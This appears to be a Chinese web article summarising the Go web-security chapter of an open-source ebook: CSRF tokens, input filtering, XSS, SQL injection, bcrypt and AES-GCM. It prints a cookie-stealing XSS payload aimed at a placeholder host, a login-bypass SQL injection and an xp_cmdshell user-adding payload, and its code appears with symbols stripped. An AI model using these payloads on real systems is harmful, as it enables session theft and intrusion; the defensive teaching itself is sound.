ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Go Web 应用安全防护全景:build-web-application-with-golang 第 9 章安全与加密要点总结

Go Web 应用安全防护全景:build-web-application-with-golang 第 9 章安全与加密要点总结 文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载本篇技术指南以开源电子书《build-web-application-with-golang》泰语版第 9 章Security and encryption的总结章节为核心骨架系统梳理现代 Web 应用中最常见的三大攻击类型——CSRF跨站请求伪造、XSS跨站脚本攻击与 SQL 注入并深入讲解 Go 语言下的输入过滤、密码安全存储与 AES-GCM 数据加解密方案。读者读完后将掌握一套完整的 Go Web 安全设计思路从识别与过滤用户输入、防御会话类攻击到密码的哈希存储与敏感数据的可逆加密并了解如何借助 Go 标准库crypto、text/template、database/sql与第三方bcrypt包构建多层防御体系。本章概览为什么安全是 Go Web 开发的第一优先级第 9 章开篇即指出安全是大多数 Web 应用极其重要的属性尤其近年来 CSDN、LinkedIn、Yahoo 等知名网站相继发生密码泄露事件Go 开发者必须意识到自身应用中的漏洞并提前采取防范措施见 th/09.0.md。现代 Web 应用的大量安全问题都源于第三方提供的数据。例如用户输入未经验证与净化就存储输出到客户端时可能引发XSS 攻击不安全的数据被直接拼入数据库查询可能造成SQL 注入仅靠过滤输入与转义输出并不能解决所有问题还需要防范CSRF这类利用用户会话的恶意请求机密数据本身需要加密存储与传输涉及密码哈希与可逆加密两类技术。本章 9.7 总结th/09.7.md明确指出大多数 Web 应用之所以易受攻击正是因为缺乏充分的输入过滤。因此除介绍攻击原理外本章还给出了有效过滤用户数据、阻断攻击的具体技术并讨论了安全存储用户密码的多种方法从要求较低场景的单向哈希到更严格场景的加盐与加密算法最后介绍了双向哈希与敏感数据的加解密。CSRF跨站请求伪造的原理与防御什么是 CSRFCSRFCross-site request forgery亦写作 XSRF又称一键攻击one click attack或会话骑乘session riding。攻击者通过社交工程手段诱导已登录受信任网站的用户点击恶意链接或访问恶意网站从而在用户不知情的情况下向目标网站发出恶意请求th/09.1.md。一个典型场景攻击者利用 QQ 聊天软件向受害者发送指向其网上银行的恶意链接若受害者已登录网银且未退出点击链接后攻击者即可窃取账户资金。当受害用户是管理员时单个 CSRF 攻击足以威胁整个 Web 应用。图 9.1CSRF 攻击流程——受害者必须先登录受信任站点 A 并保存本地 Cookie再未经站点 A 直接访问危险链接站点 B。攻击成立的两个前提从图中可以看出完成一次 CSRF 攻击需要受害者满足两个步骤登录受信任站点 A并在本地保存 Cookie不经过站点 A直接访问危险链接站点 B。然而用户无法保证以下情况不发生登录某个站点后它悄悄打开了隐藏标签页关闭浏览器后 Cookie 不会立即过期、上次会话没有真正结束高流量受信任站点也可能存在可被 CSRF 利用的隐藏漏洞。CSRF 攻击之所以成立根源在于用户认证机制本身虽然可以合理保证请求来自用户的浏览器却无法保证用户曾授权该请求。服务端防御方法与 Go 实现CSRF 在服务端防御最有效大多数方案源自两个方面正确使用 GET、POST 与 CookieGET 仅用于查看信息且不改变数据POST 用于下单、修改资源属性等写操作。在 Go 中可显式限定方法mux.Get(/user/:uid, getuser) mux.Post(/user/:uid, modifyuser)为所有非 GET 请求附加伪随机数token为每个用户生成唯一的、含伪随机值的 Cookie token所有表单必须携带相同伪随机值理论上攻击者无法读取第三方 Cookie不知道随机值就无法通过校验。生成随机 token 并输出到模板h : md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, ganraomaxxxxxxxxx) token : fmt.Sprintf(%x, h.Sum(nil)) t, _ : template.ParseFiles(login.gtpl) t.Execute(w, token)模板中输出隐藏字段input typehidden nametoken value{{.}}提交时验证 tokenr.ParseForm() token : r.Form.Get(token) if token ! { // 验证 token 合法性 } else { // 错误token 不存在 }源码佐证仓库中的 nonce token 实现仓库中 en/code/src/apps/ch.4.4/nonce/main.go 提供了与此配套的完整 nonce 实现用 MD5 组合时间戳与随机数生成一次性 tokenfunc createToken() string { h : md5.New() now : time.Now().Unix() io.WriteString(h, strconv.FormatInt(now, 10)) io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) return fmt.Sprintf(%x, h.Sum(nil)) }Nonces结构体以map[string]bool记录已用 tokenCheckThenMarkToken先校验再标记可同时抵御伪造请求与重复提交func (n *Nonces) CheckThenMarkToken(token string) error { defer n.MarkToken(token) if err : n.CheckToken(token); err ! nil { return err } return nil }对应的服务端流程可见 en/code/src/apps/ch.4.4/main.goprofileHandler渲染页面时注入submissions.NewNonce()checkProfile处理器中执行r.ParseForm()后取出 token 并校验。这套模式可直接复用于 CSRF 防御。输入过滤安全的第一道防线过滤的三个步骤过滤用户数据是提升 Web 应用安全性的基本手段th/09.2.md 将过滤分为三步识别数据弄清数据来源——用户输入、数据库接口提供的第三方数据等外部来源都应视为可疑过滤数据本身判断收到的是什么类型的数据区分已过滤净化与未过滤污染数据过滤后即可确信数据安全。在 Go 中用户输入很容易识别用户 POST 表单后调用r.ParseForm()即可从r.Form取得全部数据。而r.Header中很多字段常被客户端篡改难以辨别哪些被动过手脚因此应全部视为污染数据例如r.Header.Get(Accept-Charset)虽通常由浏览器设置也应按用户输入对待。常用过滤手段过滤的核心原则是校验数据是否满足应用规定的合法要求而不是试图修正非法数据——修正非法数据往往给攻击者可乘之机。例如密码长度不足则补 0的规则会让攻击者只需猜对前几位即可登录。Go 生态中可用的过滤工具strconv包将r.Form中的字符串转为特定类型常用函数包括Atoi、ParseBool、ParseFloat、ParseIntstrings包提供Trim、ToLower、ToTitle等格式化函数regexp包处理复杂校验如判断是否为邮箱、生日等格式。白名单whitelist是确认数据合法性的有效方式出错时只可能说明数据非法而不会把非法数据误判为合法。区分干净数据与污染数据将过滤后的数据统一放入全局CleanMap并遵守两条约束每个请求先将CleanMap初始化为空 map防止外部数据源引入名为CleanMap的变量。以下拉框表单为例用户理论上只能提交astaxie、herry、marry三个值但攻击者可模拟 POST 提交任意值r.ParseForm() name : r.Form.Get(name) CleanMap : make(map[string]interface{}, 0) if name astaxie || name herry || name marry { CleanMap[name] name }若需校验格式如用户名只能由字母与数字组成可改用正则r.ParseForm() username : r.Form.Get(username) CleanMap : make(map[string]interface{}, 0) if ok, _ : regexp.MatchString(^[a-zA-Z0-9].$, username); ok { CleanMap[username] username }XSS跨站脚本攻击的原理与防御什么是 XSSXSSCross-Site Scripting为区分层叠样式表 CSS 而将 Cross 写作 X。与通常只有攻击者与受害者两方的攻击不同XSS 涉及攻击者、客户端与 Web 应用三方目的是窃取 Web 应用存在客户端上的 Cookie 等敏感信息从而冒充用户与网站交互th/09.3.md。XSS 分两类存储型 XSS攻击者在评论、留言、博客等公开页面输入含恶意script的 HTML服务器保存到数据库其他用户浏览页面时未经转义直接输出脚本即被执行反射型 XSS将恶意脚本直接嵌入 URL 查询参数服务器解析后未经净化直接渲染回请求客户端。攻击者用 URL 缩短服务掩盖链接诱导用户点击。XSS 的主要危害包括窃取 Cookie 与敏感信息利用 Flash 跨域权限或 Java、VBScript 等提升权限通过 iframe、frame、XMLHttpRequest 冒充用户执行发微博、加好友、发私信等管理操作大量用户访问被感染页面时对小站点可造成接近 DDoS 的效果。攻击演示与防御反射型 XSS 演示访问http://127.0.0.1/?namescriptalert(astaxie,xss)/script若浏览器弹出 alert即确认存在 XSS 漏洞更危险的是document.location.hrefhttp://www.xxx.com/cookie?document.cookie这类载荷点击后会把当前 Cookie 发送到第三方站点。防御要点过滤特殊字符Go 的text/template包提供HTMLEscapeString、JSEscapeString等 HTML 过滤函数在 HTTP 头中指定内容类型w.Header().Set(Content-Type, text/javascript)让浏览器按指定类型解析响应并应用相应过滤而不是以未指定的危险方式渲染内容。SQL 注入原理、危害与六条防御建议注入原理与示例SQL 注入是最常见的脚本注入攻击之一攻击者可窃取数据库敏感信息、向数据库添加用户、导出私有文件甚至获取系统最高权限th/09.4.md。其根源同样是 Web 应用未有效过滤用户输入使恶意 SQL 代码被拼入查询、改变原始查询逻辑。典型登录场景username : r.Form.Get(username) password : r.Form.Get(password) sql : SELECT * FROM user WHERE username username AND password password 若输入myuser or foo foo --SQL 变为SELECT * FROM user WHERE usernamemyuser or foo foo -- AND passwordxxx--之后的 SQL 在多数数据库中为注释攻击者可借此在无有效密码的情况下登录。更危险的 MSSQL 示例若攻击者提交a% exec master..xp_cmdshell net user test testpass /ADD --则xp_cmdshell可在服务具备足够权限时直接向系统添加账户。尽管示例绑定特定数据库注入原理对所有数据库一致只是实施方式不同。六条防御建议严格限制数据库操作权限用户仅拥有完成工作所需的最小权限集校验输入数据格式用regexp匹配或用strconv将字符串转为基本类型进行净化与评估严格限制可提交的变量类型转义特殊字符对入库前对\*;等成对特殊字符转义或编码Go 的text/template包中的HTMLEscapeString可返回转义后的 HTML使用参数化查询用参数代替在 SQL 中拼接用户输入。Go 的database/sql包提供Prepare创建预处理语句再用Query或Exec(query string, args ...interface{})执行发布前用专业工具检测如 sqlmap、SQLninja 等开源工具不在公开页面输出 SQL 错误信息类型错误、字段不匹配等含 SQL 语句的错误信息会成为攻击者的情报。密码存储从单向哈希到 bcrypt为什么单纯哈希不够最常见的错误方案是仅对明文密码做单向哈希再存储。单向哈希不可逆常用算法包括 SHA-256、SHA-1、MD5th/09.5.md// import crypto/sha256 h : sha256.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil))单向哈希有两个关键特性给定密码哈希结果唯一确定计算速度极快如今一秒可完成数十亿次计算。二者叠加意味着多数人使用常见密码的组合攻击者只需预计算常见密码的哈希表彩虹表rainbow table数据库泄露后即可反向比对还原明文密码。推荐的 bcrypt 方案更安全的做法是刻意提高哈希计算所需资源与时间使攻击者无法承担预计算彩虹表的成本。Go 中推荐使用bcrypt包golang.org/x/crypto/bcryptpackage main import ( fmt log golang.org/x/crypto/bcrypt ) func main() { userPassword1 : some user-provided password // 生成用于存储的密码哈希 hash, err : bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost) if err ! nil { log.Fatal(err) } fmt.Println(Hash to store:, string(hash)) // 将 hash 存入数据库 // 用户登录时校验输入的密码 userPassword2 : some user-provided password hashFromDatabase : hash if err : bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err ! nil { log.Fatal(err) } fmt.Println(Password was correct!) }bcrypt.GenerateFromPassword的第二个参数为计算代价costbcrypt.DefaultCost为默认值代价越高暴力破解所需计算资源越大。对用户而言还应建议在不同网站使用不同密码并借助密码管理器如 LastPass生成与保存密码。数据加解密AES-GCM 对称加密实战为什么需要可逆加密密码存储使用单向哈希但有时需要修改数据库中已存的敏感加密数据即必须解密后重新加密。此时应改用对称加密算法而非单向哈希th/09.6.md。AES-GCM 推荐与完整示例Go 的crypto包支持多种对称加密算法文档给出的明确建议是在不熟悉的情况下只使用 AES 的 GCM 模式Galois/Counter Mode。crypto/aes包实现的 AES高级加密标准又称 Rijndael是美国联邦政府采用的块加密标准。完整加解密示例package main import ( crypto/aes crypto/cipher crypto/rand errors fmt io log ) func main() { text : []byte(My name is Astaxie) key : []byte(the-key-has-to-be-32-bytes-long!) ciphertext, err : encrypt(text, key) if err ! nil { log.Fatal(err) } fmt.Printf(%s %x\n, text, ciphertext) plaintext, err : decrypt(ciphertext, key) if err ! nil { log.Fatal(err) } fmt.Printf(%x %s\n, ciphertext, plaintext) } func encrypt(plaintext []byte, key []byte) ([]byte, error) { c, err : aes.NewCipher(key) if err ! nil { return nil, err } gcm, err : cipher.NewGCM(c) if err ! nil { return nil, err } nonce : make([]byte, gcm.NonceSize()) if _, err io.ReadFull(rand.Reader, nonce); err ! nil { return nil, err } return gcm.Seal(nonce, nonce, plaintext, nil), nil } func decrypt(ciphertext []byte, key []byte) ([]byte, error) { c, err : aes.NewCipher(key) if err ! nil { return nil, err } gcm, err : cipher.NewGCM(c) if err ! nil { return nil, err } nonceSize : gcm.NonceSize() if len(ciphertext) nonceSize { return nil, errors.New(ciphertext too short) } nonce, ciphertext : ciphertext[:nonceSize], ciphertext[nonceSize:] return gcm.Open(nil, nonce, ciphertext, nil) }关键点说明密钥长度aes.NewCipher的[]byte密钥参数必须为16、24 或 32 字节分别对应 AES-128、AES-192、AES-256 算法示例中 32 字节即 AES-256nonce由gcm.NonceSize()确定长度必须用crypto/rand的加密安全随机源生成示例中io.ReadFull(rand.Reader, nonce)密文与 nonce 一起存储gcm.Seal的第一个参数 nonce 作为前缀解密时先分离 nonce 再gcm.Opencipher.Block 接口aes.NewCipher返回的cipher.Block接口实现三个方法——BlockSize()返回块大小、Encrypt(dst, src []byte)加密一个块、Decrypt(dst, src []byte)解密一个块。把安全内建到开发流程Go 的安全工具箱正如 9.7 总结所指出的Go 语言拥有一套设计良好的大规模反攻击工具箱每个 Go 开发者都应充分利用这些包来加固 Web 应用。结合本章内容可归纳出如下防御层次与对应工具威胁防御手段Go 工具/包CSRF限制方法 表单 token 校验net/http、crypto/md5、nonce 模式参考 en/code/src/apps/ch.4.4/nonce/main.go输入污染识别来源、类型转换、白名单、正则校验strconv、strings、regexpXSS输出转义 指定 Content-Typetext/templateHTMLEscapeString、JSEscapeStringSQL 注入参数化查询 最小权限 错误信息隔离database/sqlPrepare/Query/Exec密码泄露计算昂贵的单向哈希golang.org/x/crypto/bcrypt敏感数据泄露AES-GCM 对称加解密crypto/aes、crypto/cipher、crypto/rand源码实践对照en/code/src/apps/ch.4.1/main.go 演示了表单处理的基本形态处理函数中先调用r.ParseForm()再按r.Method区分 GET渲染登录模板与 POST处理登录逻辑这正是正确使用 GET/POST防 CSRF 原则的落地起点en/code/src/apps/ch.4.4/main.go 与其 nonce 包共同构成生成 token → 表单携带 → 服务端校验的完整链路可扩展用于 CSRF 防护数据库访问示例可参见 th/code/src/apps/ch.5.3/main.go 等章节代码理解database/sql驱动连接与查询方式为参数化查询实践提供上下文。本章小结与下一步本章的目的在于帮助读者建立对现代 Web 应用安全问题的警觉在规划与设计阶段就考虑安全性写出能防止黑客利用用户数据的系统。核心结论可浓缩为三条一切输入都不可信识别数据来源过滤、校验、白名单化并将过滤后的干净数据与污染数据严格隔离输出与存储同样需要处理输出前转义以防 XSS写操作附加随机 token 以防 CSRF数据库查询一律参数化以杜绝 SQL 注入密码与敏感数据分开对待密码用计算昂贵的单向哈希bcrypt存储需要还原的数据则用 AES-GCM 对称加密。在完成安全与加密这一章之后本书下一章将进入 Internationalization and localization国际化与本地化讨论如何按用户地区渲染不同语言与格式的页面整个第 9 章的完整分节脉络可从 SUMMARY.md 或 preface.md 查看。赞分享文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载相关推荐Go Web 应用安全与加密实战总结build-web-application-with-golang 第 9 章要点全览Go Web 应用安全与加密实战总结build web application with golang 第 9 章要点全览 本文是对开源项目 build we文档教程Go Web 安全与加密实战指南CSRF、XSS、SQL 注入防御与密码存储方案build-web-application-with-golang 第 9 章总结Go Web 安全与加密实战指南CSRF、XSS、SQL 注入防御与密码存储方案build web application with golang 第 9文档教程Go Web 应用安全与加密实战指南从 CSRF 到密码存储build-web-application-with-golang 第 9 章Go Web 应用安全与加密实战指南从 CSRF 到密码存储build web application with golang 第 9 章 本篇技术指南以文档教程上一篇如何5分钟搭建家庭游戏串流平台Sunshine终极指南下一篇Sunshine游戏串流终极指南3步搭建你的跨平台游戏共享网络创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进